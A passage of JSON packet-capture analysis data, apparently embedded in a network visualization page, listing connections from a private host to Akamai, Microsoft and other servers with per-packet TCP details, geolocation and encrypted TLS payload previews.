\"direction\": \"sent\"}, {\"num\": 30, \"time\": 1781446607.668023, \"size\": 54, \"direction\": \"received\"}], \"is_private\": false, \"is_server\": false, \"is_client\": true, \"suspicious_score\": 0.0, \"geo\": {\"country\": \"Sweden\", \"city\": \"Stockholm\", \"lat\": 59.3287, \"lon\": 18.0717, \"asn\": 16625, \"isp\": \"Akamai Technologies, Inc.\", \"network\": \"2.23.88.0/22\"}, \"duration\": 2.233350992202759, \"avg_packet_size\": 589.3076923076923, \"packets_per_second\": 11.64169899436906}, {\"id\": \"40.104.62.178\", \"ip\": \"40.104.62.178\", \"packet_count\": 32, \"total_bytes_sent\": 7992, \"total_bytes_received\": 1704, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"Padding\", \"_TLSEncryptedContent\"], \"ports_used\": [443], \"first_seen\": 1781446607.518371, \"last_seen\": 1781446614.963969, \"packets\": [{\"num\": 24, \"time\": 1781446607.518371, \"size\": 66, \"direction\": \"received\"}, {\"num\": 25, \"time\": 1781446607.518392, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 26, \"time\": 1781446607.518637, \"size\": 54, \"direction\": \"received\"}, {\"num\": 27, \"time\": 1781446607.520282, \"size\": 257, \"direction\": \"received\"}, {\"num\": 28, \"time\": 1781446607.520285, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 31, \"time\": 1781446607.843144, \"size\": 3470, \"direction\": \"sent\"}, {\"num\": 32, \"time\": 1781446607.843327, \"size\": 54, \"direction\": \"received\"}, {\"num\": 33, \"time\": 1781446607.843346, \"size\": 1006, \"direction\": \"sent\"}, {\"num\": 34, \"time\": 1781446607.843484, \"size\": 54, \"direction\": \"received\"}, {\"num\": 35, \"time\": 1781446607.861054, \"size\": 212, \"direction\": \"received\"}, {\"num\": 36, \"time\": 1781446607.861066, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 37, \"time\": 1781446608.122949, \"size\": 481, \"direction\": \"sent\"}, {\"num\": 38, \"time\": 1781446608.123122, \"size\": 54, \"direction\": \"received\"}, {\"num\": 39, \"time\": 1781446608.139272, \"size\": 141, \"direction\": \"received\"}, {\"num\": 40, \"time\": 1781446608.139285, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 41, \"time\": 1781446608.139313, \"size\": 92, \"direction\": \"received\"}, {\"num\": 42, \"time\": 1781446608.139323, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 43, \"time\": 1781446608.139343, \"size\": 168, \"direction\": \"received\"}, {\"num\": 44, \"time\": 1781446608.139346, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 45, \"time\": 1781446608.44663, \"size\": 92, \"direction\": \"sent\"}, {\"num\": 46, \"time\": 1781446608.446932, \"size\": 54, \"direction\": \"received\"}, {\"num\": 47, \"time\": 1781446608.470858, \"size\": 1100, \"direction\": \"sent\"}, {\"num\": 48, \"time\": 1781446608.471047, \"size\": 54, \"direction\": \"received\"}, {\"num\": 49, \"time\": 1781446608.472079, \"size\": 118, \"direction\": \"received\"}, {\"num\": 50, \"time\": 1781446608.472089, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 51, \"time\": 1781446608.825619, \"size\": 716, \"direction\": \"sent\"}, {\"num\": 52, \"time\": 1781446608.825953, \"size\": 54, \"direction\": \"received\"}, {\"num\": 53, \"time\": 1781446608.830193, \"size\": 164, \"direction\": \"received\"}, {\"num\": 54, \"time\": 1781446608.830202, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 55, \"time\": 1781446609.108755, \"size\": 683, \"direction\": \"sent\"}, {\"num\": 56, \"time\": 1781446609.108959, \"size\": 54, \"direction\": \"received\"}, {\"num\": 120, \"time\": 1781446614.963969, \"size\": 54, \"direction\": \"received\"}], \"is_private\": false, \"is_server\": false, \"is_client\": true, \"suspicious_score\": 0.0, \"geo\": {\"country\": \"Sweden\", \"city\": \"Unknown\", \"lat\": 59.3247, \"lon\": 18.056, \"asn\": 8075, \"isp\": \"Microsoft Corporation\", \"network\": \"40.104.62.0/24\"}, \"duration\": 7.445597887039185, \"avg_packet_size\": 303.0, \"packets_per_second\": 4.297841554900988}, {\"id\": \"40.98.16.61\", \"ip\": \"40.98.16.61\", \"packet_count\": 64, \"total_bytes_sent\": 19753, \"total_bytes_received\": 3340, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"Padding\", \"_TLSEncryptedContent\"], \"ports_used\": [443], \"first_seen\": 1781446610.277025, \"last_seen\": 1781446614.964237, \"packets\": [{\"num\": 71, \"time\": 1781446611.065311, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 72, \"time\": 1781446611.065319, \"size\": 170, \"direction\": \"received\"}, {\"num\": 73, \"time\": 1781446611.065323, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 74, \"time\": 1781446611.065372, \"size\": 92, \"direction\": \"received\"}, {\"num\": 75, \"time\": 1781446611.065376, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 76, \"time\": 1781446611.421423, \"size\": 1081, \"direction\": \"sent\"}, {\"num\": 77, \"time\": 1781446611.421753, \"size\": 54, \"direction\": \"received\"}, {\"num\": 78, \"time\": 1781446611.422459, \"size\": 118, \"direction\": \"received\"}, {\"num\": 79, \"time\": 1781446611.422468, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 80, \"time\": 1781446612.095815, \"size\": 713, \"direction\": \"sent\"}, {\"num\": 81, \"time\": 1781446612.096158, \"size\": 54, \"direction\": \"received\"}, {\"num\": 82, \"time\": 1781446612.100373, \"size\": 124, \"direction\": \"received\"}, {\"num\": 83, \"time\": 1781446612.100389, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 84, \"time\": 1781446612.656751, \"size\": 682, \"direction\": \"sent\"}, {\"num\": 85, \"time\": 1781446612.656939, \"size\": 54, \"direction\": \"received\"}, {\"num\": 86, \"time\": 1781446613.034246, \"size\": 66, \"direction\": \"received\"}, {\"num\": 87, \"time\": 1781446613.034269, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 88, \"time\": 1781446613.034584, \"size\": 54, \"direction\": \"received\"}, {\"num\": 89, \"time\": 1781446613.03491, \"size\": 262, \"direction\": \"received\"}, {\"num\": 90, \"time\": 1781446613.034916, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 91, \"time\": 1781446613.420513, \"size\": 3470, \"direction\": \"sent\"}, {\"num\": 92, \"time\": 1781446613.420768, \"size\": 54, \"direction\": \"received\"}, {\"num\": 93, \"time\": 1781446613.449263, \"size\": 3958, \"direction\": \"sent\"}, {\"num\": 94, \"time\": 1781446613.449521, \"size\": 54, \"direction\": \"received\"}, {\"num\": 95, \"time\": 1781446613.460173, \"size\": 881, \"direction\": \"sent\"}, {\"num\": 96, \"time\": 1781446613.460361, \"size\": 54, \"direction\": \"received\"}, {\"num\": 97, \"time\": 1781446613.468756, \"size\": 212, \"direction\": \"received\"}, {\"num\": 98, \"time\": 1781446613.46877, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 99, \"time\": 1781446613.847091, \"size\": 481, \"direction\": \"sent\"}, {\"num\": 100, \"time\": 1781446613.847252, \"size\": 54, \"direction\": \"received\"}, {\"num\": 101, \"time\": 1781446613.849056, \"size\": 141, \"direction\": \"received\"}, {\"num\": 102, \"time\": 1781446613.849067, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 103, \"time\": 1781446613.849141, \"size\": 92, \"direction\": \"received\"}, {\"num\": 104, \"time\": 1781446613.849148, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 105, \"time\": 1781446613.849173, \"size\": 170, \"direction\": \"received\"}, {\"num\": 106, \"time\": 1781446613.849176, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 107, \"time\": 1781446614.193839, \"size\": 92, \"direction\": \"sent\"}, {\"num\": 108, \"time\": 1781446614.193954, \"size\": 54, \"direction\": \"received\"}, {\"num\": 109, \"time\": 1781446614.250774, \"size\": 1153, \"direction\": \"sent\"}, {\"num\": 110, \"time\": 1781446614.250951, \"size\": 54, \"direction\": \"received\"}, {\"num\": 111, \"time\": 1781446614.251979, \"size\": 118, \"direction\": \"received\"}, {\"num\": 112, \"time\": 1781446614.251989, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 113, \"time\": 1781446614.604115, \"size\": 718, \"direction\": \"sent\"}, {\"num\": 114, \"time\": 1781446614.604328, \"size\": 54, \"direction\": \"received\"}, {\"num\": 115, \"time\": 1781446614.605854, \"size\": 124, \"direction\": \"received\"}, {\"num\": 116, \"time\": 1781446614.605866, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 117, \"time\": 1781446614.956823, \"size\": 683, \"direction\": \"sent\"}, {\"num\": 118, \"time\": 1781446614.957005, \"size\": 54, \"direction\": \"received\"}, {\"num\": 119, \"time\": 1781446614.963156, \"size\": 54, \"direction\": \"received\"}, {\"num\": 121, \"time\": 1781446614.964237, \"size\": 54, \"direction\": \"received\"}], \"is_private\": false, \"is_server\": false, \"is_client\": true, \"suspicious_score\": 0.0, \"geo\": {\"country\": \"Sweden\", \"city\": \"Unknown\", \"lat\": 59.3247, \"lon\": 18.056, \"asn\": 8075, \"isp\": \"Microsoft Corporation\", \"network\": \"40.98.16.0/23\"}, \"duration\": 4.687211990356445, \"avg_packet_size\": 360.828125, \"packets_per_second\": 13.654172273768449}, {\"id\": \"194.36.32.209\", \"ip\": \"194.36.32.209\", \"packet_count\": 9, \"total_bytes_sent\": 4645, \"total_bytes_received\": 687, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPRequest\", \"HTTPResponse\", \"Raw\"], \"ports_used\": [80], \"first_seen\": 1781446615.807114, \"last_seen\": 1781446616.180115, \"packets\": [{\"num\": 122, \"time\": 1781446615.807114, \"size\": 66, \"direction\": \"received\"}, {\"num\": 123, \"time\": 1781446615.80715, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 124, \"time\": 1781446615.807439, \"size\": 54, \"direction\": \"received\"}, {\"num\": 125, \"time\": 1781446615.80749, \"size\": 459, \"direction\": \"received\"}, {\"num\": 126, \"time\": 1781446615.807497, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 127, \"time\": 1781446616.156276, \"size\": 3470, \"direction\": \"sent\"}, {\"num\": 128, \"time\": 1781446616.15656, \"size\": 54, \"direction\": \"received\"}, {\"num\": 129, \"time\": 1781446616.179906, \"size\": 1055, \"direction\": \"sent\"}, {\"num\": 130, \"time\": 1781446616.180115, \"size\": 54, \"direction\": \"received\"}], \"is_private\": false, \"is_server\": false, \"is_client\": true, \"suspicious_score\": 0.0, \"geo\": {\"country\": \"United States\", \"city\": \"Unknown\", \"lat\": 37.751, \"lon\": -97.822, \"asn\": 215724, \"isp\": \"Edgevana, Inc.\", \"network\": \"194.36.32.0/23\"}, \"duration\": 0.3730010986328125, \"avg_packet_size\": 592.4444444444445, \"packets_per_second\": 24.12861525874412}];\n        const edges = [{\"source\": \"10.152.152.11\", \"target\": \"2.23.89.83\", \"packet_count\": 13, \"total_bytes\": 1903, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ports\": [63940], \"dst_ports\": [443], \"first_packet\": 1781446605.434672, \"last_packet\": 1781446607.668023, \"packets\": [{\"packet_number\": 0, \"timestamp\": 1781446605.434672, \"timestamp_iso\": \"2026-06-14T19:46:45.434672\", \"timestamp_human\": \"2026-06-14 19:46:45.434\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"2.23.89.83\", \"ttl\": 128, \"ip_id\": 35344, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63940, \"dst_port\": 443, \"tcp_seq\": 3129734994, \"tcp_ack\": 0, \"tcp_window\": 64240, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": false, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN\"}, {\"packet_number\": 2, \"timestamp\": 1781446605.434925, \"timestamp_iso\": \"2026-06-14T19:46:45.434925\", \"timestamp_human\": \"2026-06-14 19:46:45.434\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"2.23.89.83\", \"ttl\": 128, \"ip_id\": 35345, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63940, \"dst_port\": 443, \"tcp_seq\": 3129734995, \"tcp_ack\": 307422014, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 3, \"timestamp\": 1781446605.436082, \"timestamp_iso\": \"2026-06-14T19:46:45.436082\", \"timestamp_human\": \"2026-06-14 19:46:45.436\", \"size\": 240, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"2.23.89.83\", \"ttl\": 128, \"ip_id\": 35346, \"ip_len\": 226, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63940, \"dst_port\": 443, \"tcp_seq\": 3129734995, \"tcp_ack\": 307422014, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 6, \"timestamp\": 1781446605.820063, \"timestamp_iso\": \"2026-06-14T19:46:45.820063\", \"timestamp_human\": \"2026-06-14 19:46:45.820\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"2.23.89.83\", \"ttl\": 128, \"ip_id\": 35347, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63940, \"dst_port\": 443, \"tcp_seq\": 3129735181, \"tcp_ack\": 307425430, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 8, \"timestamp\": 1781446605.864865, \"timestamp_iso\": \"2026-06-14T19:46:45.864865\", \"timestamp_human\": \"2026-06-14 19:46:45.864\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"2.23.89.83\", \"ttl\": 128, \"ip_id\": 35348, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63940, \"dst_port\": 443, \"tcp_seq\": 3129735181, \"tcp_ack\": 307425715, \"tcp_window\": 8211, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 9, \"timestamp\": 1781446605.87783, \"timestamp_iso\": \"2026-06-14T19:46:45.877830\", \"timestamp_human\": \"2026-06-14 19:46:45.877\", \"size\": 180, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"TLS\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"2.23.89.83\", \"ttl\": 128, \"ip_id\": 35349, \"ip_len\": 166, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63940, \"dst_port\": 443, \"tcp_seq\": 3129735181, \"tcp_ack\": 307425715, \"tcp_window\": 8211, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 66, \"payload_preview\": \"4104796f0c772153da99ca49a746e11c097c88a08e2724612c11380ed3bb10160cbedcbde0896a5ac309914906d5677b685a384b80084b20a9f136d77950b129e67f\", \"payload_ascii\": \"A\\u0004yo\\fw!SIF\\u001c\\t|'$a,\\u00118\\u000e\\u0010\\u0016\\fjZ\\tI\\u0006g{hZ8K\\bK 6yP)\\u007f\"}, {\"packet_number\": 12, \"timestamp\": 1781446606.290694, \"timestamp_iso\": \"2026-06-14T19:46:46.290694\", \"timestamp_human\": \"2026-06-14 19:46:46.290\", \"size\": 549, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"2.23.89.83\", \"ttl\": 128, \"ip_id\": 35350, \"ip_len\": 535, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63940, \"dst_port\": 443, \"tcp_seq\": 3129735307, \"tcp_ack\": 307425989, \"tcp_window\": 8210, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 15, \"timestamp\": 1781446606.557575, \"timestamp_iso\": \"2026-06-14T19:46:46.557575\", \"timestamp_human\": \"2026-06-14 19:46:46.557\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"2.23.89.83\", \"ttl\": 128, \"ip_id\": 35351, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63940, \"dst_port\": 443, \"tcp_seq\": 3129735802, \"tcp_ack\": 307429405, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 17, \"timestamp\": 1781446606.572616, \"timestamp_iso\": \"2026-06-14T19:46:46.572616\", \"timestamp_human\": \"2026-06-14 19:46:46.572\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"2.23.89.83\", \"ttl\": 128, \"ip_id\": 35352, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63940, \"dst_port\": 443, \"tcp_seq\": 3129735802, \"tcp_ack\": 307430381, \"tcp_window\": 8208, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 19, \"timestamp\": 1781446606.63347, \"timestamp_iso\": \"2026-06-14T19:46:46.633470\", \"timestamp_human\": \"2026-06-14 19:46:46.633\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"2.23.89.83\", \"ttl\": 128, \"ip_id\": 35353, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63940, \"dst_port\": 443, \"tcp_seq\": 3129735802, \"tcp_ack\": 307433309, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 21, \"timestamp\": 1781446606.796513, \"timestamp_iso\": \"2026-06-14T19:46:46.796513\", \"timestamp_human\": \"2026-06-14 19:46:46.796\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"2.23.89.83\", \"ttl\": 128, \"ip_id\": 35354, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63940, \"dst_port\": 443, \"tcp_seq\": 3129735802, \"tcp_ack\": 307434086, \"tcp_window\": 8209, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 22, \"timestamp\": 1781446607.302575, \"timestamp_iso\": \"2026-06-14T19:46:47.302575\", \"timestamp_human\": \"2026-06-14 19:46:47.302\", \"size\": 436, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"2.23.89.83\", \"ttl\": 128, \"ip_id\": 35355, \"ip_len\": 422, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63940, \"dst_port\": 443, \"tcp_seq\": 3129735802, \"tcp_ack\": 307434086, \"tcp_window\": 8209, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 30, \"timestamp\": 1781446607.668023, \"timestamp_iso\": \"2026-06-14T19:46:47.668023\", \"timestamp_human\": \"2026-06-14 19:46:47.668\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"2.23.89.83\", \"ttl\": 128, \"ip_id\": 35356, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63940, \"dst_port\": 443, \"tcp_seq\": 3129736184, \"tcp_ack\": 307434719, \"tcp_window\": 8206, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}], \"tcp_flags\": {\"SYN\": 1, \"ACK\": 12, \"PSH\": 4}, \"packet_sizes\": [66, 54, 240, 54, 54, 180, 549, 54, 54, 54, 54, 436, 54], \"inter_packet_intervals\": [0.0002529621124267578, 0.0011568069458007812, 0.38398122787475586, 0.044801950454711914, 0.012964963912963867, 0.41286396980285645, 0.26688098907470703, 0.015041112899780273, 0.06085395812988281, 0.16304302215576172, 0.5060620307922363, 0.365447998046875], \"connection_type\": \"TCP Connection\", \"threat_level\": \"low\", \"duration\": 2.233350992202759, \"avg_packet_size\": 146.3846153846154, \"packets_per_second\": 5.82084949718453, \"bytes_per_second\": 852.0828148570893, \"min_packet_size\": 54, \"max_packet_size\": 549, \"median_packet_size\": 54, \"avg_interval\": 0.18611258268356323, \"min_interval\": 0.0002529621124267578, \"max_interval\": 0.5060620307922363}, {\"source\": \"2.23.89.83\", \"target\": \"10.152.152.11\", \"packet_count\": 13, \"total_bytes\": 13419, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"Padding\", \"_TLSEncryptedContent\"], \"src_ports\": [443], \"dst_ports\": [63940], \"first_packet\": 1781446605.434705, \"last_packet\": 1781446607.617399, \"packets\": [{\"packet_number\": 1, \"timestamp\": 1781446605.434705, \"timestamp_iso\": \"2026-06-14T19:46:45.434705\", \"timestamp_human\": \"2026-06-14 19:46:45.434\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"2.23.89.83\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 0, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63940, \"tcp_seq\": 307422013, \"tcp_ack\": 3129734995, \"tcp_window\": 64240, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN,ACK\"}, {\"packet_number\": 4, \"timestamp\": 1781446605.43609, \"timestamp_iso\": \"2026-06-14T19:46:45.436090\", \"timestamp_human\": \"2026-06-14 19:46:45.436\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"2.23.89.83\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 60174, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63940, \"tcp_seq\": 307422014, \"tcp_ack\": 3129735181, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 5, \"timestamp\": 1781446605.819818, \"timestamp_iso\": \"2026-06-14T19:46:45.819818\", \"timestamp_human\": \"2026-06-14 19:46:45.819\", \"size\": 3470, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"TLS\", \"Padding\"], \"src_ip\": \"2.23.89.83\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 60175, \"ip_len\": 3456, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63940, \"tcp_seq\": 307422014, \"tcp_ack\": 3129735181, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 7, \"timestamp\": 1781446605.864579, \"timestamp_iso\": \"2026-06-14T19:46:45.864579\", \"timestamp_human\": \"2026-06-14 19:46:45.864\", \"size\": 339, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"_TLSEncryptedContent\"], \"src_ip\": \"2.23.89.83\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 60178, \"ip_len\": 325, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63940, \"tcp_seq\": 307425430, \"tcp_ack\": 3129735181, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 285, \"payload_preview\": \"9569870961874301cb95a22cf8b188efb38e317aa99f95b34d5ff4e9384f1bd28fe11d06b604d9671ba40883f390d73218212b419ee4a4f171793bd1eab8487875978780af281efa1b4af4d6fc47039722482071353a5008531cbd8c76be6c3cb266e13cbb1c387fa46255cade9a531d53bb2633e2efce5a49fa5e16030300940c00009003001741046eeb82df06a56fbba1af828ffc95d2d65ceb8bfef03bacaf92784081f70232845a167d53ff7b6be3eb88ee19de1ed06bdcf7b311325c303aa9eb0b639ab08d1f04030047304502207bda1d6bea69cced217748701e03dfe781503ea5640879759e7bd3a4f061dffc022100d1b2809b8f7451729b9df0b97c136b961d4c5acdaaa1b1cd799818ea0cdb1de616030300040e000000\", \"payload_ascii\": \"i\\taC\\u0001,1zM_8O\\u001b\\u001d\\u0006\\u0004g\\u001b\\b2\\u0018!+Aqy;Hxu(\\u001e\\u001bJG\\u0003\\\"H q5:P\\bS\\u001cvl<f<\\u001c8\\u007fbUS\\u001dS&3ZI^\\u0016\\u0003\\u0003\\u0000\\f\\u0000\\u0000\\u0003\\u0000\\u0017A\\u0004n\\u0006o\\\\;x@\\u00022Z\\u0016}S{k\\u0019\\u001ek\\u00112\\\\0:\\u000bc\\u001f\\u0004\\u0003\\u0000G0E\\u0002 {\\u001dki!wHp\\u001e\\u0003P>d\\byu{a\\u0002!\\u0000tQr|\\u0013k\\u001dLZy\\u0018\\f\\u001d\\u0016\\u0003\\u0003\\u0000\\u0004\\u000e\\u0000\\u0000\\u0000\"}, {\"packet_number\": 10, \"timestamp\": 1781446605.877848, \"timestamp_iso\": \"2026-06-14T19:46:45.877848\", \"timestamp_human\": \"2026-06-14 19:46:45.877\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"2.23.89.83\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 60179, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63940, \"tcp_seq\": 307425715, \"tcp_ack\": 3129735307, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 11, \"timestamp\": 1781446606.283864, \"timestamp_iso\": \"2026-06-14T19:46:46.283864\", \"timestamp_human\": \"2026-06-14 19:46:46.283\", \"size\": 328, \"protocols\": [\"Ether\", \"IP\", \"TCP\", 